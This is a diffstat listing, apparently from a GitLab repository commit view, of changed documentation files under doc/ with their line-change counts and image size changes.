-rw-r--r--doc/administration/integration/plantuml.md2
-rw-r--r--doc/administration/integration/terminal.md13
-rw-r--r--doc/administration/issue_closing_pattern.md2
-rw-r--r--doc/administration/job_artifacts.md4
-rw-r--r--doc/administration/job_logs.md12
-rw-r--r--doc/administration/libravatar.md4
-rw-r--r--doc/administration/load_balancer.md2
-rw-r--r--doc/administration/logs.md81
-rw-r--r--doc/administration/maintenance_mode/index.md30
-rw-r--r--doc/administration/monitoring/gitlab_self_monitoring_project/index.md13
-rw-r--r--doc/administration/monitoring/performance/gitlab_configuration.md3
-rw-r--r--doc/administration/monitoring/performance/grafana_configuration.md7
-rw-r--r--doc/administration/monitoring/performance/index.md1
-rw-r--r--doc/administration/monitoring/performance/performance_bar.md23
-rw-r--r--doc/administration/monitoring/performance/request_profiling.md2
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md31
-rw-r--r--doc/administration/monitoring/prometheus/index.md34
-rw-r--r--doc/administration/nfs.md11
-rw-r--r--doc/administration/object_storage.md186
-rw-r--r--doc/administration/operations/cleaning_up_redis_sessions.md2
-rw-r--r--doc/administration/operations/extra_sidekiq_processes.md127
-rw-r--r--doc/administration/operations/extra_sidekiq_routing.md164
-rw-r--r--doc/administration/operations/fast_ssh_key_lookup.md17
-rw-r--r--doc/administration/operations/filesystem_benchmarking.md2
-rw-r--r--doc/administration/operations/index.md4
-rw-r--r--doc/administration/operations/puma.md7
-rw-r--r--doc/administration/operations/sidekiq_memory_killer.md16
-rw-r--r--doc/administration/operations/ssh_certificates.md2
-rw-r--r--doc/administration/operations/unicorn.md116
-rw-r--r--doc/administration/packages/container_registry.md105
-rw-r--r--doc/administration/packages/dependency_proxy.md17
-rw-r--r--doc/administration/pages/index.md118
-rw-r--r--doc/administration/polling.md2
-rw-r--r--doc/administration/postgresql/external.md4
-rw-r--r--doc/administration/postgresql/img/pg_ha_architecture.pngbin18412 -> 18308 bytes
-rw-r--r--doc/administration/postgresql/index.md2
-rw-r--r--doc/administration/postgresql/pgbouncer.md2
-rw-r--r--doc/administration/postgresql/replication_and_failover.md535
-rw-r--r--doc/administration/postgresql/standalone.md15
-rw-r--r--doc/administration/pseudonymizer.md2
-rw-r--r--doc/administration/raketasks/check.md42
-rw-r--r--doc/administration/read_only_gitlab.md10
-rw-r--r--doc/administration/redis/replication_and_failover.md62
-rw-r--r--doc/administration/redis/replication_and_failover_external.md22
-rw-r--r--doc/administration/reference_architectures/10k_users.md483
-rw-r--r--doc/administration/reference_architectures/25k_users.md430
-rw-r--r--doc/administration/reference_architectures/2k_users.md136
-rw-r--r--doc/administration/reference_architectures/3k_users.md366
-rw-r--r--doc/administration/reference_architectures/50k_users.md423
-rw-r--r--doc/administration/reference_architectures/5k_users.md356
-rw-r--r--doc/administration/reference_architectures/index.md4
-rw-r--r--doc/administration/reference_architectures/troubleshooting.md207
-rw-r--r--doc/administration/reply_by_email_postfix_setup.md2
-rw-r--r--doc/administration/repository_checks.md9
-rw-r--r--doc/administration/repository_storage_paths.md13
-rw-r--r--doc/administration/repository_storage_types.md4
-rw-r--r--doc/administration/sidekiq.md5
-rw-r--r--doc/administration/smime_signing_email.md2
-rw-r--r--doc/administration/static_objects_external_storage.md3
-rw-r--r--doc/administration/terraform_state.md2
-rw-r--r--doc/administration/timezone.md2
-rw-r--r--doc/administration/troubleshooting/debug.md29
-rw-r--r--doc/administration/troubleshooting/defcon.md20
-rw-r--r--doc/administration/troubleshooting/diagnostics_tools.md2
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md134
-rw-r--r--doc/administration/troubleshooting/group_saml_scim.md4
-rw-r--r--doc/administration/troubleshooting/img/azure_configure_group_claim.pngbin0 -> 45870 bytes
-rw-r--r--doc/administration/troubleshooting/index.md2
-rw-r--r--doc/administration/troubleshooting/kubernetes_cheat_sheet.md4
-rw-r--r--doc/administration/troubleshooting/linux_cheat_sheet.md6
-rw-r--r--doc/administration/troubleshooting/log_parsing.md2
-rw-r--r--doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md4
-rw-r--r--doc/administration/troubleshooting/postgresql.md3
-rw-r--r--doc/administration/troubleshooting/sidekiq.md2
-rw-r--r--doc/administration/troubleshooting/ssl.md2
-rw-r--r--doc/administration/troubleshooting/test_environments.md2
-rw-r--r--doc/administration/troubleshooting/tracing_correlation_id.md2
-rw-r--r--doc/administration/whats-new.md3
-rw-r--r--doc/api/README.md11
-rw-r--r--doc/api/applications.md4
-rw-r--r--doc/api/audit_events.md2
-rw-r--r--doc/api/boards.md3
-rw-r--r--doc/api/broadcast_messages.md11
-rw-r--r--doc/api/commits.md18
-rw-r--r--doc/api/container_registry.md30
-rw-r--r--doc/api/custom_attributes.md3
-rw-r--r--doc/api/dependency_proxy.md3
-rw-r--r--doc/api/deploy_keys.md13
-rw-r--r--doc/api/deploy_tokens.md14
-rw-r--r--doc/api/deployments.md100
-rw-r--r--doc/api/discussions.md24
-rw-r--r--doc/api/dora/metrics.md35
-rw-r--r--doc/api/dora4_group_analytics.md1
-rw-r--r--doc/api/environments.md6
-rw-r--r--doc/api/feature_flag_specs.md292
-rw-r--r--doc/api/feature_flags_legacy.md314
-rw-r--r--doc/api/graphql/getting_started.md127
-rw-r--r--doc/api/graphql/index.md7
-rw-r--r--doc/api/graphql/reference/index.md1026
-rw-r--r--doc/api/graphql/removed_items.md26
-rw-r--r--doc/api/group_badges.md7
-rw-r--r--doc/api/group_clusters.md2
-rw-r--r--doc/api/group_import_export.md7
-rw-r--r--doc/api/group_labels.md7
-rw-r--r--doc/api/group_level_variables.md11
-rw-r--r--doc/api/group_protected_environments.md154
-rw-r--r--doc/api/group_relations_export.md6
-rw-r--r--doc/api/group_repository_storage_moves.md12
-rw-r--r--doc/api/group_wikis.md9
-rw-r--r--doc/api/groups.md124
-rw-r--r--doc/api/instance_level_ci_variables.md8
-rw-r--r--doc/api/invitations.md9
-rw-r--r--doc/api/issues.md5
-rw-r--r--doc/api/job_artifacts.md16
-rw-r--r--doc/api/jobs.md44
-rw-r--r--doc/api/labels.md35
-rw-r--r--doc/api/lint.md19
-rw-r--r--doc/api/managed_licenses.md3
-rw-r--r--doc/api/members.md7
-rw-r--r--doc/api/merge_request_approvals.md156
-rw-r--r--doc/api/merge_requests.md23
-rw-r--r--doc/api/merge_trains.md2
-rw-r--r--doc/api/notification_settings.md4
-rw-r--r--doc/api/oauth2.md3
-rw-r--r--doc/api/packages/composer.md11
-rw-r--r--doc/api/packages/nuget.md2
-rw-r--r--doc/api/packages/pypi.md77
-rw-r--r--doc/api/pages_domains.md23
-rw-r--r--doc/api/pipeline_schedules.md40
-rw-r--r--doc/api/pipeline_triggers.md10
-rw-r--r--doc/api/pipelines.md24
-rw-r--r--doc/api/project_aliases.md10
-rw-r--r--doc/api/project_badges.md4
-rw-r--r--doc/api/project_clusters.md21
-rw-r--r--doc/api/project_import_export.md35
-rw-r--r--doc/api/project_level_variables.md8
-rw-r--r--doc/api/project_repository_storage_moves.md6
-rw-r--r--doc/api/project_snippets.md8
-rw-r--r--doc/api/projects.md248
-rw-r--r--doc/api/protected_branches.md28
-rw-r--r--doc/api/protected_environments.md5
-rw-r--r--doc/api/protected_tags.md2
-rw-r--r--doc/api/releases/index.md3
-rw-r--r--doc/api/releases/links.md4
-rw-r--r--doc/api/remote_mirrors.md3
-rw-r--r--doc/api/repositories.md5
-rw-r--r--doc/api/repository_files.md29
-rw-r--r--doc/api/resource_access_tokens.md16
-rw-r--r--doc/api/resource_label_events.md7
-rw-r--r--doc/api/runners.md40
-rw-r--r--doc/api/scim.md18
-rw-r--r--doc/api/search.md9
-rw-r--r--doc/api/services.md4
-rw-r--r--doc/api/settings.md7
-rw-r--r--doc/api/snippet_repository_storage_moves.md12
-rw-r--r--doc/api/status_checks.md201
-rw-r--r--doc/api/suggestions.md2
-rw-r--r--doc/api/system_hooks.md6
-rw-r--r--doc/api/tags.md85
-rw-r--r--doc/api/templates/dockerfiles.md4
-rw-r--r--doc/api/templates/gitlab_ci_ymls.md2
-rw-r--r--doc/api/todos.md3
-rw-r--r--doc/api/users.md57
-rw-r--r--doc/api/vulnerability_exports.md14
-rw-r--r--doc/api/wikis.md15
-rw-r--r--doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.pngbin36221 -> 19274 bytes
-rw-r--r--doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.pngbin29472 -> 11550 bytes
-rw-r--r--doc/architecture/blueprints/ci_scale/index.md10
-rw-r--r--doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md614
-rw-r--r--doc/architecture/blueprints/container_registry_metadata_database/index.md6
-rw-r--r--doc/ci/README.md4
-rw-r--r--doc/ci/caching/index.md114
-rw-r--r--doc/ci/chatops/README.md1
-rw-r--r--doc/ci/ci_cd_for_external_repos/bitbucket_integration.md2
-rw-r--r--doc/ci/ci_cd_for_external_repos/github_integration.md2
-rw-r--r--doc/ci/ci_cd_for_external_repos/index.md2
-rw-r--r--doc/ci/directed_acyclic_graph/index.md2
-rw-r--r--doc/ci/docker/README.md1
-rw-r--r--doc/ci/docker/index.md2
-rw-r--r--doc/ci/docker/using_docker_build.md9
-rw-r--r--doc/ci/docker/using_docker_images.md4
-rw-r--r--doc/ci/docker/using_kaniko.md8
-rw-r--r--doc/ci/enable_or_disable_ci.md2
-rw-r--r--doc/ci/environments/deployment_safety.md4
-rw-r--r--doc/ci/environments/environments_dashboard.md4
-rw-r--r--doc/ci/environments/index.md32
-rw-r--r--doc/ci/environments/protected_environments.md136
-rw-r--r--doc/ci/examples/README.md6
-rw-r--r--doc/ci/examples/authenticating-with-hashicorp-vault/index.md5
-rw-r--r--doc/ci/examples/laravel_with_gitlab_and_envoy/index.md22
-rw-r--r--doc/ci/examples/php.md2
-rw-r--r--doc/ci/examples/test-and-deploy-python-application-to-heroku.md1
-rw-r--r--doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md1
-rw-r--r--doc/ci/examples/test-clojure-application.md1
-rw-r--r--doc/ci/git_submodules.md4
-rw-r--r--doc/ci/interactive_web_terminal/index.md2
-rw-r--r--doc/ci/introduction/index.md2
-rw-r--r--doc/ci/jobs/index.md6
-rw-r--r--doc/ci/jobs/job_control.md391
-rw-r--r--doc/ci/large_repositories/index.md16
-rw-r--r--doc/ci/merge_request_pipelines/index.md18
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md4
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md7
-rw-r--r--doc/ci/migration/circleci.md14
-rw-r--r--doc/ci/migration/jenkins.md20
-rw-r--r--doc/ci/multi_project_pipelines.md2
-rw-r--r--doc/ci/parent_child_pipelines.md4
-rw-r--r--doc/ci/pipelines/index.md13
-rw-r--r--doc/ci/pipelines/job_artifacts.md12
-rw-r--r--doc/ci/pipelines/pipeline_architectures.md4
-rw-r--r--doc/ci/pipelines/pipeline_artifacts.md13
-rw-r--r--doc/ci/pipelines/pipeline_efficiency.md4
-rw-r--r--doc/ci/pipelines/schedules.md23
-rw-r--r--doc/ci/pipelines/settings.md26
-rw-r--r--doc/ci/quick_start/README.md1
-rw-r--r--doc/ci/quick_start/index.md18
-rw-r--r--doc/ci/review_apps/index.md2
-rw-r--r--doc/ci/runners/README.md1037
-rw-r--r--doc/ci/runners/configure_runners.md601
-rw-r--r--doc/ci/runners/runners_scope.md251
-rw-r--r--doc/ci/services/README.md1
-rw-r--r--doc/ci/services/gitlab.md2
-rw-r--r--doc/ci/ssh_keys/README.md1
-rw-r--r--doc/ci/ssh_keys/index.md2
-rw-r--r--doc/ci/triggers/README.md38
-rw-r--r--doc/ci/troubleshooting.md8
-rw-r--r--doc/ci/unit_test_reports.md23
-rw-r--r--doc/ci/variables/README.md258
-rw-r--r--doc/ci/variables/predefined_variables.md6
-rw-r--r--doc/ci/variables/where_variables_can_be_used.md11
-rw-r--r--doc/ci/yaml/README.md623
-rw-r--r--doc/ci/yaml/gitlab_ci_yaml.md2
-rw-r--r--doc/ci/yaml/includes.md22
-rw-r--r--doc/ci/yaml/script.md2
-rw-r--r--doc/development/README.md4
-rw-r--r--doc/development/api_graphql_styleguide.md41
-rw-r--r--doc/development/api_styleguide.md8
-rw-r--r--doc/development/application_limits.md2
-rw-r--r--doc/development/appsec/index.md2
-rw-r--r--doc/development/architecture.md81
-rw-r--r--doc/development/auto_devops.md8
-rw-r--r--doc/development/background_migrations.md115
-rw-r--r--doc/development/changelog.md333
-rw-r--r--doc/development/chaos_endpoints.md19
-rw-r--r--doc/development/cicd/cicd_reference_documentation_guide.md2
-rw-r--r--doc/development/cicd/index.md22
-rw-r--r--doc/development/cicd/templates.md20
-rw-r--r--doc/development/code_review.md8
-rw-r--r--doc/development/contributing/index.md2
-rw-r--r--doc/development/contributing/issue_workflow.md10
-rw-r--r--doc/development/contributing/merge_request_workflow.md14
-rw-r--r--doc/development/dangerbot.md2
-rw-r--r--doc/development/database/pagination_guidelines.md12
-rw-r--r--doc/development/database/strings_and_the_text_data_type.md8
-rw-r--r--doc/development/db_dump.md2
-rw-r--r--doc/development/deprecation_guidelines/index.md5
-rw-r--r--doc/development/diffs.md18
-rw-r--r--doc/development/documentation/graphql_styleguide.md2
-rw-r--r--doc/development/documentation/index.md28
-rw-r--r--doc/development/documentation/restful_api_styleguide.md18
-rw-r--r--doc/development/documentation/site_architecture/deployment_process.md18
-rw-r--r--doc/development/documentation/site_architecture/global_nav.md20
-rw-r--r--doc/development/documentation/site_architecture/index.md16
-rw-r--r--doc/development/documentation/site_architecture/release_process.md1
-rw-r--r--doc/development/documentation/structure.md2
-rw-r--r--doc/development/documentation/styleguide/index.md85
-rw-r--r--doc/development/documentation/styleguide/word_list.md163
-rw-r--r--doc/development/documentation/testing.md27
-rw-r--r--doc/development/documentation/workflow.md6
-rw-r--r--doc/development/ee_features.md6
-rw-r--r--doc/development/elasticsearch.md31
-rw-r--r--doc/development/event_tracking/backend.md3
-rw-r--r--doc/development/event_tracking/frontend.md3
-rw-r--r--doc/development/event_tracking/index.md3
-rw-r--r--doc/development/experiment_guide/experimentation.md5
-rw-r--r--doc/development/experiment_guide/gitlab_experiment.md20
-rw-r--r--doc/development/experiment_guide/index.md26
-rw-r--r--doc/development/fe_guide/accessibility.md50
-rw-r--r--doc/development/fe_guide/content_editor.md116
-rw-r--r--doc/development/fe_guide/design_anti_patterns.md4
-rw-r--r--doc/development/fe_guide/editor_lite.md1
-rw-r--r--doc/development/fe_guide/event_tracking.md3
-rw-r--r--doc/development/fe_guide/frontend_faq.md10
-rw-r--r--doc/development/fe_guide/graphql.md11
-rw-r--r--doc/development/fe_guide/img/content_editor_highlevel_diagram.pngbin0 -> 47794 bytes
-rw-r--r--doc/development/fe_guide/index.md5
-rw-r--r--doc/development/fe_guide/style/vue.md9
-rw-r--r--doc/development/fe_guide/troubleshooting.md8
-rw-r--r--doc/development/fe_guide/vue.md44
-rw-r--r--doc/development/fe_guide/vuex.md3
-rw-r--r--doc/development/feature_flags/controls.md33
-rw-r--r--doc/development/feature_flags/development.md2
-rw-r--r--doc/development/feature_flags/index.md12
-rw-r--r--doc/development/feature_flags/process.md1
-rw-r--r--doc/development/file_storage.md2
-rw-r--r--doc/development/geo.md8
-rw-r--r--doc/development/go_guide/index.md2
-rw-r--r--doc/development/gotchas.md2
-rw-r--r--doc/development/graphql_guide/authorization.md2
-rw-r--r--doc/development/graphql_guide/pagination.md22
-rw-r--r--doc/development/i18n/externalization.md330
-rw-r--r--doc/development/i18n/index.md53
-rw-r--r--doc/development/i18n/merging_translations.md53
-rw-r--r--doc/development/i18n/proofreader.md49
-rw-r--r--doc/development/i18n/translation.md104
-rw-r--r--doc/development/import_project.md2
-rw-r--r--doc/development/integrations/codesandbox.md2
-rw-r--r--doc/development/integrations/jenkins.md3
-rw-r--r--doc/development/integrations/secure.md2
-rw-r--r--doc/development/integrations/secure_partner_integration.md4
-rw-r--r--doc/development/internal_api.md36
-rw-r--r--doc/development/jh_features_review.md6
-rw-r--r--doc/development/kubernetes.md25
-rw-r--r--doc/development/licensing.md2
-rw-r--r--doc/development/logging.md6
-rw-r--r--doc/development/maintenance_mode.md4
-rw-r--r--doc/development/merge_request_performance_guidelines.md10
-rw-r--r--doc/development/migration_style_guide.md42
-rw-r--r--doc/development/module_with_instance_variables.md14
-rw-r--r--doc/development/multi_version_compatibility.md133
-rw-r--r--doc/development/namespaces_storage_statistics.md4
-rw-r--r--doc/development/new_fe_guide/dependencies.md1
-rw-r--r--doc/development/new_fe_guide/development/performance.md2
-rw-r--r--doc/development/new_fe_guide/modules/dirty_submit.md2
-rw-r--r--doc/development/packages.md6
-rw-r--r--doc/development/performance.md4
-rw-r--r--doc/development/permissions.md2
-rw-r--r--doc/development/pipelines.md49
-rw-r--r--doc/development/polymorphic_associations.md14
-rw-r--r--doc/development/product_analytics/event_dictionary.md3
-rw-r--r--doc/development/product_analytics/index.md3
-rw-r--r--doc/development/profiling.md2
-rw-r--r--doc/development/prometheus_metrics.md2
-rw-r--r--doc/development/pry_debugging.md6
-rw-r--r--doc/development/query_recorder.md2
-rw-r--r--doc/development/rake_tasks.md6
-rw-r--r--doc/development/reactive_caching.md2
-rw-r--r--doc/development/real_time.md97
-rw-r--r--doc/development/redis.md15
-rw-r--r--doc/development/reference_processing.md16
-rw-r--r--doc/development/reusing_abstractions.md6
-rw-r--r--doc/development/routing.md12
-rw-r--r--doc/development/scalability.md8
-rw-r--r--doc/development/secure_coding_guidelines.md4
-rw-r--r--doc/development/sidekiq_style_guide.md68
-rw-r--r--doc/development/single_table_inheritance.md39
-rw-r--r--doc/development/snowplow.md2
-rw-r--r--doc/development/snowplow/index.md130
-rw-r--r--doc/development/stage_group_dashboards.md59
-rw-r--r--doc/development/testing_guide/best_practices.md56
-rw-r--r--doc/development/testing_guide/ci.md4
-rw-r--r--doc/development/testing_guide/end_to_end/beginners_guide.md6
-rw-r--r--doc/development/testing_guide/end_to_end/feature_flags.md4
-rw-r--r--doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.pngbin19201 -> 6777 bytes
-rw-r--r--doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.pngbin17753 -> 6580 bytes
-rw-r--r--doc/development/testing_guide/end_to_end/index.md7
-rw-r--r--doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md4
-rw-r--r--doc/development/testing_guide/flaky_tests.md6
-rw-r--r--doc/development/testing_guide/frontend_testing.md22
-rw-r--r--doc/development/testing_guide/review_apps.md16
-rw-r--r--doc/development/testing_guide/testing_levels.md4
-rw-r--r--doc/development/testing_guide/testing_rake_tasks.md8
-rw-r--r--doc/development/understanding_explain_plans.md4
-rw-r--r--doc/development/uploads.md8
-rw-r--r--doc/development/usage_ping.md2
-rw-r--r--doc/development/usage_ping/dictionary.md2408
-rw-r--r--doc/development/usage_ping/index.md15
-rw-r--r--doc/development/usage_ping/metrics_dictionary.md35
-rw-r--r--doc/development/usage_ping/metrics_instrumentation.md40
-rw-r--r--doc/development/utilities.md30
-rw-r--r--doc/development/what_requires_downtime.md1
-rw-r--r--doc/development/wikis.md2
-rw-r--r--doc/downgrade_ee_to_ce/README.md1
-rw-r--r--doc/downgrade_ee_to_ce/index.md6
-rw-r--r--doc/gitlab-basics/README.md1
-rw-r--r--doc/gitlab-basics/add-file.md2
-rw-r--r--doc/gitlab-basics/create-branch.md4
-rw-r--r--doc/gitlab-basics/create-project.md1
-rw-r--r--doc/gitlab-basics/create-your-ssh-keys.md1
-rw-r--r--doc/gitlab-basics/fork-project.md1
-rw-r--r--doc/gitlab-basics/start-using-git.md552
-rw-r--r--doc/install/README.md1
-rw-r--r--doc/install/azure/index.md3
-rw-r--r--doc/install/google_cloud_platform/index.md4
-rw-r--r--doc/install/installation.md38
-rw-r--r--doc/install/next_steps.md46
-rw-r--r--doc/install/postgresql_extensions.md22
-rw-r--r--doc/install/relative_url.md4
-rw-r--r--doc/install/requirements.md104
-rw-r--r--doc/integration/README.md1
-rw-r--r--doc/integration/akismet.md6
-rw-r--r--doc/integration/elasticsearch.md105
-rw-r--r--doc/integration/external-issue-tracker.md7
-rw-r--r--doc/integration/gitpod.md3
-rw-r--r--doc/integration/google_workspace_saml.md1
-rw-r--r--doc/integration/jira/dvcs.md16
-rw-r--r--doc/integration/jira_development_panel.md1
-rw-r--r--doc/integration/kerberos.md32
-rw-r--r--doc/integration/oauth_provider.md15
-rw-r--r--doc/integration/omniauth.md4
-rw-r--r--doc/integration/saml.md4
-rw-r--r--doc/integration/slash_commands.md2
-rw-r--r--doc/integration/sourcegraph.md3
-rw-r--r--doc/intro/README.md1
-rw-r--r--doc/legal/README.md1
-rw-r--r--doc/legal/index.md2
-rw-r--r--doc/migrate_ci_to_ce/README.md462
-rw-r--r--doc/operations/error_tracking.md8
-rw-r--r--doc/operations/feature_flags.md24
-rw-r--r--doc/operations/incident_management/alert_integrations.md1
-rw-r--r--doc/operations/incident_management/alerts.md10
-rw-r--r--doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.pngbin43318 -> 13288 bytes
-rw-r--r--doc/operations/incident_management/incidents.md20
-rw-r--r--doc/operations/incident_management/integrations.md24
-rw-r--r--doc/operations/incident_management/oncall_schedules.md12
-rw-r--r--doc/operations/incident_management/paging.md6
-rw-r--r--doc/operations/incident_management/status_page.md11
-rw-r--r--doc/operations/index.md6
-rw-r--r--doc/operations/metrics/alerts.md32
-rw-r--r--doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.pngbin31905 -> 9033 bytes
-rw-r--r--doc/operations/metrics/dashboards/index.md48
-rw-r--r--doc/operations/metrics/dashboards/settings.md4
-rw-r--r--doc/operations/metrics/embed_grafana.md2
-rw-r--r--doc/operations/metrics/index.md34
-rw-r--r--doc/operations/product_analytics.md2
-rw-r--r--doc/operations/tracing.md4
-rw-r--r--doc/policy/maintenance.md28
-rw-r--r--doc/push_rules/push_rules.md21
-rw-r--r--doc/raketasks/README.md1
-rw-r--r--doc/raketasks/backup_restore.md12
-rw-r--r--doc/security/README.md4
-rw-r--r--doc/security/asset_proxy.md8
-rw-r--r--doc/security/cicd_environment_variables.md1
-rw-r--r--doc/security/cicd_variables.md14
-rw-r--r--doc/security/crime_vulnerability.md4
-rw-r--r--doc/security/information_exclusivity.md2
-rw-r--r--doc/security/password_length_limits.md19
-rw-r--r--doc/security/password_storage.md25
-rw-r--r--doc/security/passwords_for_integrated_authentication_methods.md2
-rw-r--r--doc/security/project_import_decompressed_archive_size_limits.md6
-rw-r--r--doc/security/rack_attack.md2
-rw-r--r--doc/security/rate_limits.md2
-rw-r--r--doc/security/ssh_keys_restrictions.md15
-rw-r--r--doc/security/two_factor_authentication.md57
-rw-r--r--doc/security/unlock_user.md2
-rw-r--r--doc/security/user_email_confirmation.md10
-rw-r--r--doc/security/webhooks.md21
-rw-r--r--doc/subscriptions/bronze_starter.md6
-rw-r--r--doc/subscriptions/gitlab_com/index.md2
-rw-r--r--doc/subscriptions/img/license-file.pngbin0 -> 72190 bytes
-rw-r--r--doc/subscriptions/img/license-overview.pngbin0 -> 38018 bytes
-rw-r--r--doc/subscriptions/img/publicly-visible.pngbin0 -> 58946 bytes
-rw-r--r--doc/subscriptions/img/support-diagram.pngbin0 -> 49941 bytes
-rw-r--r--doc/subscriptions/index.md102
-rw-r--r--doc/subscriptions/self_managed/index.md30
-rw-r--r--doc/system_hooks/system_hooks.md2
-rw-r--r--doc/tools/email.md9
-rw-r--r--doc/topics/authentication/index.md12
-rw-r--r--doc/topics/autodevops/customize.md65
-rw-r--r--doc/topics/autodevops/index.md10
-rw-r--r--doc/topics/autodevops/quick_start_guide.md30
-rw-r--r--doc/topics/autodevops/requirements.md77
-rw-r--r--doc/topics/autodevops/stages.md130
-rw-r--r--doc/topics/autodevops/upgrading_auto_deploy_dependencies.md20
-rw-r--r--doc/topics/build_your_application.md16
-rw-r--r--doc/topics/git/bisect.md6
-rw-r--r--doc/topics/git/cherry_picking.md2
-rw-r--r--doc/topics/git/feature_branch_development.md12
-rw-r--r--doc/topics/git/feature_branching.md6
-rw-r--r--doc/topics/git/getting_started.md6
-rw-r--r--doc/topics/git/git_add.md6
-rw-r--r--doc/topics/git/git_log.md6
-rw-r--r--doc/topics/git/git_rebase.md19
-rw-r--r--doc/topics/git/lfs/index.md44
-rw-r--r--doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md1
-rw-r--r--doc/topics/git/lfs/migrate_to_git_lfs.md6
-rw-r--r--doc/topics/git/merge_conflicts.md6
-rw-r--r--doc/topics/git/merge_requests.md1
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.pngbin21836 -> 33399 bytes
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/img/revert.pngbin13243 -> 21473 bytes
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/index.md218
-rw-r--r--doc/topics/git/rollback_commits.md6
-rw-r--r--doc/topics/git/stash.md6
-rw-r--r--doc/topics/git/subtree.md6
-rw-r--r--doc/topics/git/tags.md2
-rw-r--r--doc/topics/git/unstage.md6
-rw-r--r--doc/topics/git/useful_git_commands.md7
-rw-r--r--doc/topics/gitlab_flow.md81
-rw-r--r--doc/topics/plan_and_track.md28
-rw-r--r--doc/topics/release_your_application.md13
-rw-r--r--doc/topics/set_up_organization.md16
-rw-r--r--doc/topics/use_gitlab.md19
-rw-r--r--doc/university/README.md1
-rw-r--r--doc/university/index.md1
-rw-r--r--doc/university/training/gitlab_flow.md1
-rw-r--r--doc/university/training/index.md1
-rw-r--r--doc/university/training/topics/agile_git.md1
-rw-r--r--doc/university/training/topics/bisect.md1
-rw-r--r--doc/university/training/topics/cherry_picking.md1
-rw-r--r--doc/university/training/topics/env_setup.md1
-rw-r--r--doc/university/training/topics/feature_branching.md1
-rw-r--r--doc/university/training/topics/getting_started.md1
-rw-r--r--doc/university/training/topics/git_add.md1
-rw-r--r--doc/university/training/topics/git_intro.md1
-rw-r--r--doc/university/training/topics/git_log.md1
-rw-r--r--doc/university/training/topics/merge_conflicts.md1
-rw-r--r--doc/university/training/topics/merge_requests.md1
-rw-r--r--doc/university/training/topics/rollback_commits.md1
-rw-r--r--doc/university/training/topics/stash.md1
-rw-r--r--doc/university/training/topics/subtree.md1
-rw-r--r--doc/university/training/topics/tags.md1
-rw-r--r--doc/university/training/topics/unstage.md1
-rw-r--r--doc/university/training/user_training.md1
-rw-r--r--doc/update/README.md1
-rw-r--r--doc/update/index.md20
-rw-r--r--doc/update/mysql_to_postgresql.md8
-rw-r--r--doc/update/patch_versions.md2
-rw-r--r--doc/update/upgrading_from_ce_to_ee.md2
-rw-r--r--doc/update/upgrading_from_source.md20
-rw-r--r--doc/update/upgrading_postgresql_using_slony.md2
-rw-r--r--doc/user/abuse_reports.md1
-rw-r--r--doc/user/admin_area/abuse_reports.md1
-rw-r--r--doc/user/admin_area/activating_deactivating_users.md1
-rw-r--r--doc/user/admin_area/analytics/dev_ops_report.md61
-rw-r--r--doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.pngbin0 -> 52947 bytes
-rw-r--r--doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.pngbin92540 -> 30831 bytes
-rw-r--r--doc/user/admin_area/analytics/index.md15
-rw-r--r--doc/user/admin_area/analytics/usage_trends.md2
-rw-r--r--doc/user/admin_area/analytics/user_cohorts.md1
-rw-r--r--doc/user/admin_area/appearance.md6
-rw-r--r--doc/user/admin_area/approving_users.md8
-rw-r--r--doc/user/admin_area/blocking_unblocking_users.md1
-rw-r--r--doc/user/admin_area/broadcast_messages.md79
-rw-r--r--doc/user/admin_area/credentials_inventory.md9
-rw-r--r--doc/user/admin_area/custom_project_templates.md10
-rw-r--r--doc/user/admin_area/diff_limits.md32
-rw-r--r--doc/user/admin_area/geo_nodes.md2
-rw-r--r--doc/user/admin_area/img/cohorts_v13_9_a.pngbin122096 -> 35297 bytes
-rw-r--r--doc/user/admin_area/index.md60
-rw-r--r--doc/user/admin_area/license.md14
-rw-r--r--doc/user/admin_area/merge_requests_approvals.md4
-rw-r--r--doc/user/admin_area/moderate_users.md59
-rw-r--r--doc/user/admin_area/monitoring/health_check.md8
-rw-r--r--doc/user/admin_area/review_abuse_reports.md8
-rw-r--r--doc/user/admin_area/settings/account_and_limit_settings.md82
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md140
-rw-r--r--doc/user/admin_area/settings/external_authorization.md7
-rw-r--r--doc/user/admin_area/settings/floc.md3
-rw-r--r--doc/user/admin_area/settings/gitaly_timeouts.md8
-rw-r--r--doc/user/admin_area/settings/help_page.md6
-rw-r--r--doc/user/admin_area/settings/img/admin_required_pipeline.pngbin22587 -> 0 bytes
-rw-r--r--doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.pngbin0 -> 80106 bytes
-rw-r--r--doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.pngbin61203 -> 0 bytes
-rw-r--r--doc/user/admin_area/settings/img/enforce_terms.pngbin54881 -> 156968 bytes
-rw-r--r--doc/user/admin_area/settings/import_export_rate_limits.md4
-rw-r--r--doc/user/admin_area/settings/index.md22
-rw-r--r--doc/user/admin_area/settings/instance_template_repository.md13
-rw-r--r--doc/user/admin_area/settings/package_registry_rate_limits.md5
-rw-r--r--doc/user/admin_area/settings/project_integration_management.md6
-rw-r--r--doc/user/admin_area/settings/push_event_activities_limit.md13
-rw-r--r--doc/user/admin_area/settings/rate_limit_on_notes_creation.md2
-rw-r--r--doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md7
-rw-r--r--doc/user/admin_area/settings/sign_in_restrictions.md16
